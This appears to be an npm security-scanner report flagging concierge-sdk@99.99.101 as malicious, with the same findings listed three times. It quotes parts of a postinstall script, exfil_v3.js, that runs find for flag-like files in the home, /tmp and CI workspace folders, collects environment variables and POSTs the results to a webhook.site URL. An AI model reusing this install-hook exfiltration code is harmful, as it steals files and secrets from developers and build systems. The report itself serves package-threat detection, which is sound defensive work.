concierge-sdk@99.99.101: Malicious npm security report (Block)

Loading npm security reports…

concierge-sdk@99.99.101: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node exfil_v3.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

exfil_v3.jsView file

•bounded command output exfiltration = const flagfile = '/tmp/.icx-runtime';\n if (fs.existssync(flagfile)) {\n try {\n const content = fs.readfilesync(flagfile, 'utf8');\n exfildata.icx_runtime_flag = content.trim();\n } catch (e) {\n exfildata.icx_runtime_error = string(e);\n }\n }\n\n \n const searchdirs = ['/tmp', process.env.home, process.env.github_workspace];\n exfildata.file_search = {};\n \n for (const dir of searchdirs) {\n if (!dir || !fs.existssync(dir)) continue;\n try {\n const files = execsync(`find "${dir}" -name "*flag*" -o -name "*pwn*" 2>/dev/null | head -20`, \n { encoding: 'utf8', timeout: 5000 });\n if (files.trim()) {\n exfildata.file_search[dir

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

exfil_v3.jsView on unpkg

•Trigger-reachable chain: scripts.postinstall -> exfil_v3.js bounded command output exfiltration = const flagfile = '/tmp/.icx-runtime';\n if (fs.existssync(flagfile)) {\n try {\n const content = fs.readfilesync(flagfile, 'utf8');\n exfildata.icx_runtime_flag = content.trim();\n } catch (e) {\n exfildata.icx_runtime_error = string(e);\n }\n }\n\n \n const searchdirs = ['/tmp', process.env.home, process.env.github_workspace];\n exfildata.file_search = {};\n \n for (const dir of searchdirs) {\n if (!dir || !fs.existssync(dir)) continue;\n try {\n const files = execsync(`find "${dir}" -name "*flag*" -o -name "*pwn*" 2>/dev/null | head -20`, \n { encoding: 'utf8', timeout: 5000 });\n

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

exfil_v3.jsView on unpkg

4const path = require('path'); L5: const { execSync } = require('child_process'); L6:

High

Child Process

Package source references child process execution.

exfil_v3.jsView on unpkg · L4

1'use strict'; L2: const https = require('https'); L3: const fs = require('fs'); L4: const path = require('path'); L5: const { execSync } = require('child_process'); L6: ... L10: env_vars: { L11: HOME: process.env.HOME, L12: GITHUB_WORKSPACE: process.env.GITHUB_WORKSPACE,

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

exfil_v3.jsView on unpkg · L1

•Trigger-reachable command-output exfiltration chain: scripts.postinstall -> exfil_v3.js bounded command output exfiltration = const flagfile = '/tmp/.icx-runtime';\n if (fs.existssync(flagfile)) {\n try {\n const content = fs.readfilesync(flagfile, 'utf8');\n exfildata.icx_runtime_flag = content.trim();\n } catch (e) {\n exfildata.icx_runtime_error = string(e);\n }\n }\n\n \n const searchdirs = ['/tmp', process.env.home, process.env.github_workspace];\n exfildata.file_search = {};\n \n for (const dir of searchdirs) {\n if (!dir || !fs.existssync(dir)) continue;\n try {\n const files = execsync(`find "${dir}" -name "*flag*" -o -name "*pwn*" 2>/dev/null | head -20`, \n { encoding:

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

exfil_v3.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> exfil_v3.js const https = require('https'); // Exfil via webhook const payload = JSON.stringify(exfilData); const webhookUrl = 'https://webhook.site/4f4566fc-e72f-415b-818f-fdb42dc9891d'; const url = new URL(webhookUrl); const req = https.request({ method: 'POST', req.write(payload);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

exfil_v3.jsView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node exfil_v3.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

exfil_v3.jsView file

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

exfil_v3.jsView on unpkg

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

exfil_v3.jsView on unpkg

4const path = require('path'); L5: const { execSync } = require('child_process'); L6:

High

Child Process

Package source references child process execution.

exfil_v3.jsView on unpkg · L4

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

exfil_v3.jsView on unpkg · L1

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

exfil_v3.jsView on unpkg

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

exfil_v3.jsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node exfil_v3.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

exfil_v3.jsView file

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

exfil_v3.jsView on unpkg

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

exfil_v3.jsView on unpkg

4const path = require('path'); L5: const { execSync } = require('child_process'); L6:

High

Child Process

Package source references child process execution.

exfil_v3.jsView on unpkg · L4

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

exfil_v3.jsView on unpkg · L1

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

exfil_v3.jsView on unpkg

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

exfil_v3.jsView on unpkg

concierge-sdk@99.99.101

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code